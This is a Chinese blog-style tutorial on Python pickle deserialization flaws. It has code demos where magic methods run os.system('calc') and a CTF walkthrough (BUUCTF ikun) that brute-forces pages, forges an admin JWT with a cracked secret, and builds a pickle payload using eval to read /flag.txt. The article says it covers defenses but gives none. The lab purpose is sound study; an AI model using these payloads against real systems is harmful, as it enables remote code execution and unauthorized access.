深入探究Python反序列化漏洞:原理剖析与实战复现

news2025/1/11 14:44:47

在现代应用程序开发中,Python反序列化漏洞已成为一个备受关注的安全问题。反序列化是Python中用于将字节流转换回对象的过程,但如果没有妥善处理,攻击者可以通过精心构造的恶意数据,利用反序列化漏洞执行任意代码,进而控制整个系统。理解Python反序列化漏洞的工作原理,并掌握其复现技巧,对于提升我们的安全防护水平至关重要。

本文将深入剖析Python反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供有效的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开Python反序列化漏洞的神秘面纱,提升我们的安全防护能力。

概念

攻击者通过传入精心构造的恶意序列化数据,利用反序列化过程中恢复对象的特性,使得反序列化代码执行任意命令或代码,从而控制目标系统。这种攻击利用了序列化机制在反序列化过程中对不受信任数据缺乏适当验证的漏洞。

反序列化函数

pickle.dump(obj,file): 将对象序列化后保存到文件

pickle.load(file) :读取文件,将文件中的序列化内容反序列化为对象

pickle.dumps(obj) :将对象序列化成字符串格式的字节流

pickle.loads(bytes_obj): 将字符串格式的字节流反序列化为对象

魔术方法

  1. reduce()

    1.   import pickle
        import os
      
        #反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()
        class A(object):
            def __reduce__(self):
                print('反序列化调用')
                return (os.system,('calc',))//必须要有return
        a = A()
        p_a = pickle.dumps(a)
        pickle.loads(p_a)//将其注释之后不会弹计算机,但是输出结果不变
        print('==========')
        print(p_a)
      
  2. setstate()

    1.   import pickle
        import os
        class SerializePerson():
            def __init__(self, name):
                self.name = name
            # 构造 __setstate__ 方法
            def __setstate__(self, name):
                os.system('calc')  # 恶意代码
        tmp = pickle.dumps(SerializePerson('tom'))  #序列化
        pickle.loads(tmp)  # 反序列化 此时会弹出计算器
      
  3. getstate()

    1.   import pickle
        import os
        #序列化魔术方法调用-__getstate__
        class A(object):
            def __getstate__(self):
                print('序列化调用')
                os.system('calc')
        a = A()
        p_a = pickle.dumps(a)
        print('==========')
        print(p_a)
      
  4. 示例

    1.   import pickle
        import os
        #反序列化安全漏洞产生-DEMO
        class A(object):
            def __init__(self, func, arg):
                self.func = func
                self.arg = arg
                print('This is A')
            def __reduce__(self):
                print('反序列化调用')
                return (self.func, self.arg)
        a = A(os.system, ('calc',))
        p_a = pickle.dumps(a)
        # pickle.loads(p_a)
        print('==========')
        print(p_a)
      
  5. 示例代码

    1. 靶场:buuctf—[CISCN2019 华北赛区 Day1 Web2]ikun

    2. 题目提示找到lv6,故写python脚本进行寻找

      1. 脚本如下:

        import requests,time
        url="http://78a126d5-a835-4226-abe9-4a5fb6a79841.node4.buuoj.cn:81/shop?page="
        
        for i in range(0,2000):
            time.sleep(0.2)
            r=requests.get(url+str(i))
            if 'lv6.png' in r.text:
                print(i)
                break
            else:
                print(str(i)+'|no')
        
        
    3. 爆破得到181关,注册登录购买,发现钱不够,捉包修改优惠卷

    4. 发现需要admin身份,修改cookie值

    5. 捉包发现cookie出具有jwt验证漏洞

    6. 利用jwtcracker工具爆破jwt秘钥得到1Kun秘钥

    7. 利用秘钥在此处(https://jwt.io/#encoded-jwt)得到admin的jwt的值

    8. 改包放出得到以下页面后右键源代码即可得到后门代码

    9. 全局搜索反序列化函数pickle,存在load反序列化函数,有漏洞,故根据题目写下payload

      1.   import pickle
          import urllib
        
          class payload(object):
              def __reduce__(self):
                 return (eval, ("open('/flag.txt','r').read()",))
        
          a = pickle.dumps(payload())
          a = urllib.quote(a)
          print a
          //此脚本为python2
        
    10. 可以看到pickle所在的类为AdminHandler,全局搜索,找到对应网址

    11. 根据脚本生成的payload,在对应元素元素的值进行更改或者修改数据包

通过本文的学习,我们不仅深入了解了Python反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对Python反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。

在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987360.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端day4-表单标签

<!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>day4-表单</title> </head> <body&g…

# 基于MongoDB实现商品管理系统(2)

基于MongoDB实现商品管理系统&#xff08;2&#xff09; 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面&#xff0c;而是控制台来完成的。 具体的需求如下所示&#xff1a; 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…

进程创建,进程消亡

虚拟地址&#xff1a;通过虚拟技术&#xff0c;将外部存储设备的一部分空间&#xff0c;划分给系统&#xff0c;作为在内存不足时临时用作数据缓存。当内存耗尽时&#xff0c;电脑就会自动调用硬盘来充当内存&#xff0c;以缓解内存的紧张。 练习: 编写一个代码实现,一个父…

OGG转MP3音频格式转换:6种免费音频转换器推荐

在如今的数字音乐时代&#xff0c;不同音频格式的兼容性问题常常让我们感到困扰。其中&#xff0c;OGG和MP3是两种常见的音频格式&#xff0c;但由于设备和平台的支持问题&#xff0c;我们经常需要将OGG转换为MP3格式。 本文将为您详细介绍OGG和MP3的区别&#xff0c;为什么需要…

Spring Boot集成protobuf快速入门Demo

1.什么是protobuf&#xff1f; Protobuf&#xff08;Protocol Buffers&#xff09;是由 Google 开发的一种轻量级、高效的数据交换格式&#xff0c;它被用于结构化数据的序列化、反序列化和传输。相比于 XML 和 JSON 等文本格式&#xff0c;Protobuf 具有更小的数据体积、更快…

数据结构:队列(含源码)

目录 一、队列的概念和结构 二、队列的实现 头文件 初始化 入队列和出队列 获取队头队尾元素 队列有效数据数及队列判空 队列的销毁 完整源码 dl.h dl.c 一、队列的概念和结构 队列是一种只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性…

重生之我 学习【数据结构之顺序表(SeqList)】

⭐⭐⭐ 新老博友们&#xff0c;感谢各位的阅读观看 期末考试&假期调整暂时的停更了两个多月 没有写博客为大家分享优质内容 还容各位博友多多的理解 美丽的八月重生之我归来 继续为大家分享内容 你我共同加油 一起努力 ⭐⭐⭐ 数据结构将以顺序表、链表、栈区、队列、二叉树…

多米诺和托米诺平铺

有两种形状的瓷砖&#xff1a;一种是2 x 1的多米诺形&#xff0c;另一种是形如L的托米诺形。两种形状都可以旋转。 给定整数 n &#xff0c;返回可以平铺 2 x n 的面板的方法的数量。返回对 10^9 7 取模 的值。 平铺指的是每个正方形都必须有瓷砖覆盖。两个平铺不同&#xff…

maven常用命令与常见问题汇总

文章目录 一、IDEA 下载依赖包源码报错Sources not found for:xxxx二、常用命令1、打包 一、IDEA 下载依赖包源码报错Sources not found for:xxxx 解决方案&#xff1a; 方案1、在 terminal 运行 mvn dependency:resolve -Dclassifiersources 命令 方案2、右键特定的pom文件…

论文概览 |《IJGIS》2024 Vol.38 issue4

本次给大家整理的是《International Journal of Geographical Information Science》杂志2024年第38卷第4期的论文的题目和摘要&#xff0c;一共包括8篇SCI论文&#xff01; 论文1 knowledge-constrained large language model interactable with GIS: enhancing public risk …

笔试题 day1

目录 快速io 统计2的个数 两个数组的交集 点击消除 快速io import java.util.*; import java.io.*;public class Main {public static PrintWriter out new PrintWriter(new BufferedWriter(new OutputStreamWriter(System.out)));public static Read in new Read();publ…

瑞_Linux防火墙相关命令_Windows远程连接虚拟机的服务失败_Linux防火墙端口开放

&#x1f64a; 前言&#xff1a;博主在学习使用虚拟机的过程中&#xff0c;常常碰到 Windows 远程连接虚拟机的服务失败的问题。比如想要在主机上连接虚拟机中的 MongoDB 服务的时候&#xff0c;服务器或者虚拟机一般都会默认开启防火墙&#xff0c;则会导致远程连接失败&#…

做一个能和你互动玩耍的智能机器人之七-接入对话和大模型

接入科大迅飞的语音识别&#xff1a; private void printResult(RecognizerResult results) {String text JsonParser2.parseIatResult(results.getResultString());String sn null;// 读取json结果中的sn字段try {JSONObject resultJson new JSONObject(results.getResult…

如何忽略已经提交到 Git 仓库中的文件

文章目录 前言一、确认文件是否已经被提交二、确认 .git 文件存在三、修改 .git/info/exclude 文件四、修改文件名五、提交和推送六、验证总结 前言 在日常开发中&#xff0c;我们常常会遇到这样的情况&#xff1a;不小心将不应追踪的文件提交到了 Git 仓库中&#xff0c;例如…

LabVIEW中的Reverse String函数与字节序转换

在LabVIEW中&#xff0c;数据的字节序&#xff08;也称为端序&#xff09;问题通常出现在数据传输和存储过程中。字节序可以分为大端&#xff08;Big-Endian&#xff09;和小端&#xff08;Little-Endian&#xff09;&#xff0c;它们分别表示高字节存储在低地址和低字节存储在…

培训第二十二天(mysql数据库主从搭建)

上午 1、为mysql添加开机启动chkconfig [rootmysql1 ~]# chkconfig --list //列出系统服务在不同运行级别下的启动状态注&#xff1a;该输出结果只显示 SysV 服务&#xff0c;并不包含原生 systemd 服务。SysV 配置数据可能被原生 systemd 配置覆盖。 要列出 systemd 服务…

2024.8.2(MySQL)

一、mysql 1、下载mysql软件包 [rootmysql ~]# yum -y install wget [rootmysql ~]# wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2、解压 [rootmysql ~]# tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 3、安装…

完美解决浏览器的输入框自动填入时,黄色背景问题,以及图标被遮住问题(最新)

用图说话↓↓↓ 首先用代码解决黄色背景问题&#xff0c;box-shadow颜色设置透明即可 :deep(input:-webkit-autofill) {box-shadow: 0 0 0 1000px transparent !important;/* 浏览器记住密码的底色的颜色 */-webkit-text-fill-color: #fff !important;/* 浏览器记住密码的字的…

【Linux 驱动】IMX6ULL input驱动

1. input子系统介绍 input 子系统分为 input 驱动层、input 核心层、input 事件处理层&#xff0c;最终给用户空间提供可访问的设备节点。 驱动层&#xff1a;输入设备的具体驱动程序&#xff0c;比如按键驱动程序&#xff0c;向内核层报告输入内容核心层&#xff1a;承上启下…

【docker】docker和镜像仓库

阿里云镜像仓库&#xff08;Aliyun Container Registry&#xff09;是阿里云提供的容器镜像存储和管理服务。它以Docker Registry协议为基础&#xff0c;为容器开发者提供了稳定可靠的镜像存储和分发服务。 使用阿里云镜像仓库&#xff0c;您可以将自己的Docker镜像推送到阿里…